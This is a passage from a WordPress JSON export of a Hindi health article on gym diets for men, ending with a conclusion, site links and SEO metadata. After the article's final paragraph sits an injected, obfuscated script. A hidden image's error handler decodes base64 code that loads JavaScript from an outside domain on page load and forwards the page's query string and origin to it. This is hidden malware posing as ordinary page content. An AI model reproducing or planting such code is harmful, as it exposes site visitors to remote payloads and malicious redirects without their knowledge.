\u092e\u093e\u0902\u0938\u092a\u0947\u0936\u093f\u092f\u094b\u0902 \u0915\u0940 \u0924\u093e\u0915\u0924 \u092c\u0928\u093e\u090f \u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u092a\u093e\u0928\u0940 \u092c\u0947\u0939\u0926 \u091c\u0930\u0942\u0930\u0940 \u0939\u094b\u0924\u093e \u0939\u0948\u0964 \u0938\u093e\u0925 \u0939\u0940 \u0907\u0938\u0938\u0947 \u090f\u0928\u0930\u094d\u091c\u0940 \u0932\u0947\u0935\u0932 \u092c\u0922\u093c\u0924\u093e \u0939\u0948 \u0914\u0930 \u092a\u093e\u091a\u0928 \u0915\u094d\u0930\u093f\u092f\u093e \u092e\u091c\u092c\u0942\u0924 \u0930\u0939\u0924\u0940 \u0939\u0948 \u092c\u0938 \u0927\u094d\u092f\u093e\u0928 \u0930\u0916\u0947\u0902 \u0915\u093f, \u0906\u092a\u0915\u094b \u0905\u092a\u0928\u0947 \u0935\u091c\u0928 \u0915\u0947 \u0905\u0928\u0941\u0938\u093e\u0930 \u092a\u093e\u0928\u0940 \u092a\u0940\u0928\u093e \u091a\u093e\u0939\u093f\u090f\u0964<\/p>\n<h3 style=\"text-align: justify;\">\u0928\u093f\u0937\u094d\u0915\u0930\u094d\u0937<\/h3>\n<p style=\"text-align: justify;\">\u0939\u092e\u0947\u0902 \u0909\u092e\u094d\u092e\u0940\u0926 \u0939\u0948 \u0915\u093f \u0906\u092a\u0915\u094b \u0939\u092e\u093e\u0930\u0940 \u091c\u093e\u0928\u0915\u093e\u0930\u0940 \u092a\u0938\u0902\u0926 \u0906\u0908 \u0939\u094b\u0917\u0940\u0964 \u0907\u0938\u0947 \u092a\u0922\u093c\u0928\u0947 \u0915\u0947 \u092c\u093e\u0926 \u092a\u0941\u0930\u0942\u0937\u094b\u0902 \u0915\u094b \u091c\u093f\u092e \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u0915\u093f\u0938 \u092a\u094d\u0930\u0915\u093e\u0930 \u0915\u0940 \u0921\u093e\u0907\u091f \u0932\u0947\u0928\u0940 \u091a\u093e\u0939\u093f\u090f \u0907\u0938 \u0932\u0947\u0916 \u0938\u0947 \u0906\u092a\u0915\u094b \u0905\u0935\u0936\u094d\u092f \u0938\u0939\u093e\u092f\u0924\u093e \u092e\u093f\u0932\u0947\u0917\u0940\u0964 \u0939\u092e\u093e\u0930\u0940 \u0939\u092e\u0947\u0936\u093e \u092f\u0939\u0940 \u0915\u094b\u0936\u093f\u0936 \u0930\u0939\u0924\u0940 \u0939\u0948 \u0915\u093f \u0906\u092a\u0915\u0947 \u092a\u093e\u0938 \u0938\u0930\u0932 \u0936\u092c\u094d\u0926\u094b\u0902 \u092e\u0947\u0902 \u091c\u093e\u0928\u0915\u093e\u0930\u0940 \u092a\u0939\u0941\u0902\u091a\u093e\u0908 \u091c\u093e\u090f\u0964 \u0907\u0938\u0915\u0947 \u0905\u0932\u093e\u0935\u093e \u0906\u092a <a href=\"https:\/\/tvhealth.in\/hindi\/news\/diseases\/diabetes\/\">\u0921\u093e\u092f\u092c\u093f\u091f\u0940\u091c<\/a> \u0938\u0947 \u091c\u0941\u0921\u0940 \u0914\u0930 \u092d\u0940 \u091c\u093e\u0928\u0915\u093e\u0930\u0940 \u092a\u093e\u0928\u093e \u091a\u093e\u0939\u0924\u0947 \u0939\u0948\u0902, \u0924\u094b \u0939\u092e\u093e\u0930\u0947 <a href=\"https:\/\/www.youtube.com\/channel\/UCTY3W3RdEZmtfkUikvDjNVA\">\u092f\u0942\u091f\u094d\u092f\u0942\u092c \u091a\u0948\u0928\u0932<\/a> \u092a\u0930\u00a0 \u0915\u092e\u0947\u0902\u091f \u0915\u0930\u0915\u0947 \u092a\u0941\u091b \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964<\/p>\n<p><script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script><script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 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\u091c\u093e\u0915\u0930<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[193],"tags":[],"class_list":["post-713","post","type-post","status-publish","format-standard","hentry","category-lifestyle"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.5 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>\u0932\u093e\u0907\u091f \u091c\u093f\u092e : \u092a\u0941\u0930\u0941\u0937\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f 8 \u0906\u0939\u093e\u0930 - TV \u0939\u0947\u0932\u094d\u0925<\/title>\n<meta name=\"description\" content=\"\u091c\u0930\u0942\u0930\u0940, \u091c\u093e\u0928\u093f\u090f \u0935\u0930\u094d\u0915\u0906\u0909\u091f \u0938\u0947 \u092a\u0939\u0932\u0947 \u0914\u0930 \u092c\u093e\u0926 \u092e\u0947\u0902 \u0915\u094d\u092f\u093e \u0916\u093e\u0928\u093e \u091a\u093e\u0939\u093f\u090f ? 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